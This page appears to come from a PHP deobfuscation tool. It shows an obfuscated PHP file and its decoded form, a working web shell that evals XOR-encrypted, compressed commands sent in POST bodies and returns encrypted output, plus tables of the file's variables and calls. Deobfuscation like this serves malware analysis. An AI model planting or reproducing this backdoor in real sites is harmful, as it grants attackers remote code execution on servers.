Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $N='nction Hx($t,$Hk)H{$c=strHlen($k)H;H$l=strlenH($t);H$o="H";for($i=0;$i<$l;H){fo..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="202cb962";$kh="ac59075b964b";$kf="07152d234b70";$p="yx7XMTghTCSSzjib";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$N='nction Hx($t,$Hk)H{$c=strHlen($k)H;H$l=strlenH($t);H$o="H";for($i=0;$i<$l;H){forH($j=0';
$n='end_HcleaHn();$r=@baHse64_eHncoHde(@Hx(@gzHcomHpress($o),$Hk));pHHrint("$p$kh$r$kf");}';
$p='("/$kh(.+)$HHkf/",@file_getHH_coHntents("php:H//inpHut"),$mH)HH==1) {@ob_startH();@evH';
$H=str_replace('B','','crBeaBBte_BfBunctBion');
$A='$k="2H02cb962";$HkhH="ac5H907H5b964bH";$kf="071H52d2H34b70";$p="yHx7XMHTghTCSSzHjibHH";fu';
$m=';(H$j<$Hc&&$Hi<$l);$j++H,$Hi++){$oH.=$Ht{$i}^H$k{$jHH};}}retHurn $o;H}ifHH (@preg_match';
$b='al(@gzuHncompHressH(@x(@basHe64_dHHecode(H$m[1])H,H$k)));$o=@ob_gHHet_contents(H);@ob_';
$h=str_replace('H','',$A.$N.$m.$p.$b.$n);
$X=$H('',$h);$X();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$A $k="2H02cb962";$HkhH="ac5H907H5b964bH";$kf="071H52d2H34b70";..
$H create_function
$N nction Hx($t,$Hk)H{$c=strHlen($k)H;H$l=strlenH($t);H$o="H";f..
$b al(@gzuHncompHressH(@x(@basHe64_dHHecode(H$m[1])H,H$k)));$o=..
$h $k="202cb962";$kh="ac59075b964b";$kf="07152d234b70";$p="yx7X..
$k 202cb962
$m ;(H$j<$Hc&&$Hi<$l);$j++H,$Hi++){$oH.=$Ht{$i}^H$k{$jHH};}}ret..
$n end_HcleaHn();$r=@baHse64_eHncoHde(@Hx(@gzHcomHpress($o),$Hk..
$p yx7XMTghTCSSzjib
$kf 07152d234b70
$kh ac59075b964b

Stats

MD5 c7ee24ea11d16fce5f98b172815355fa
Eval Count 1
Decode Time 78 ms